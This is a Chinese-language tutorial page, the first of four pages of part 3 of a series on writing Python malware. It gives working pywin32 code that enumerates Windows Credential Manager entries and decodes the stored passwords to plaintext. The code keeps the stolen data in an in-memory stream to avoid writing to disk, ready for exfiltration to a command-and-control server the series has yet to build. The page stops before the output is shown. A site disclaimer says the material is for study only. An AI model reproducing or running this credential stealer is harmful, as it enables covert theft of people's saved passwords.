欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

编写python恶意软件part3--窃取凭证和cookies

来源:本站整理 作者:佚名 时间:2019-03-18 TAG: 我要投稿

键盘记录和剪切板监控是非常有作用的,而且只要有了这两个,我们就可以很轻易的抓取凭证了。也就是说,系统中可能存在已经保存的凭证,我们也想要获取。在第三部分,我们将会讲解一些实用的和基础的技巧在普通用户权限下来窃取凭证和cookie。这次我们不再用ctype来编写又长又复杂,令人头疼的代码了,我们会使用pywin32这个模块,这是WinAPI的一个包装器。首先要安装此模块,命令很简单,用pip install pywin32即可。
首先我们引入所有需要用到的包和模块,然后声明一个常量,这个常量在调用Credential Manager(凭证管理器,简称为CredMan)相关函数时会用到。
import os
import io
import sys
import sqlite3
import json
import shutil
import win32cred
import win32crypt
import win32api
import win32con
import pywintypes
 
CRED_TYPE_GENERIC = win32cred.CRED_TYPE_GENERIC
然后,我们创建一个新的类credentials。它不需要任何构造函数,它只是将凭证方法和cookies方法区分开来。在这个类中,我们先定义一个函数dump_cresman_generic()。
从Windows凭证管理器中转存通用凭证
这个函数就是用来转存所有存储在凭证管理器中的通用凭证的,通用凭证是非域类型凭证。比如说,你在Windows上使用git,通过身份认证连接到GitHub,Bitbucket和Gitlab等,那么你的凭证是存储在CredMan中的。如果不跟LSASS有交互的话,我们是获取不到域凭证的(CRED_TYPE_DOMAIN),而我们通常都会避免与LSASS进行交互。(参考:https://docs.microsoft.com/en-us/windows/desktop/secauthn/kinds-of-credentials)
我们首先import我们需要枚举和读取凭证的函数:
def dump_credsman_generic():
       
    CredEnumerate = win32cred.CredEnumerate
    CredRead = win32cred.CredRead
然后,我们枚举存储在credman中的凭证,并且把它们放在creds变量中,该变量是一个元组:
try:
        creds = CredEnumerate(None, 0)  # Enumerate credentials
    except Exception:                # Avoid crashing on any exception
       pass
现在,我们要遍历每个凭证集(这里是命令包,因为set是一个python关键字),并将它们作为单独元素添加到credentials列表中,这样方便操作。
    credentials = []
 
    for package in creds:
        try:
            target = package['TargetName']
            creds = CredRead(target, CRED_TYPE_GENERIC)
            credentials.append(creds)
        except pywintypes.error:
            pass
这里你可能注意到了两件事情。第一就是我们用列表代替了字典,这是因为凭证blob是十六进制形式的。在python中,JSON是不支持八进制和十六进制的,所以我们使用列表来代替。
第二件事就是我们使用CredRead()函数,这个函数返回的数据跟CredEnumerate()函数一样。这里的区别是,CredRead()函数是用来读取凭证中特定的包或集,而CredEnumerate()函数就是返回所有内容。我们可以简单的循环遍历creds变量,但是从我看到的使用CredMan读取一些C代码,CredRead()函数是最简洁的方法。
现在我们该创建一个内存中的文本流了(为了避免在磁盘中写入文件),之后我们就可以将它发送到我们目前还没有创建C2服务器了。
        credman_creds = io.StringIO() # In-memory text stream
        for cred in credentials:
            service = cred['TargetName']
            username = cred['UserName']
            password = cred['CredentialBlob'].decode()
            credman_creds.write('Service: ' + str(service) + '\n')
            credman_creds.write('Username: ' + str(username) + '\n')
            credman_creds.write('Password: ' + str(password) + '\n')
            credman_creds.write('\n')        return credman_creds.getvalue()
首先我们创建文本流credman_creds,用来保存服务,用户名和密码。然后我们遍历Credentials变量并将我们想要的数据写入到文本流中,确保我们已经对credentials进行了解码,这样我们就可以得到明文的密码。完成之后,我们就可以在文本流中看到返回的数据了。
现在我们可以编辑一下main.py文件来进行测试:
import stealer
 
if __name__ == '__main__':
   
    credstealer = stealer.credentials
print(credstealer.dump_credsman_generic())
结果如下:

[1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载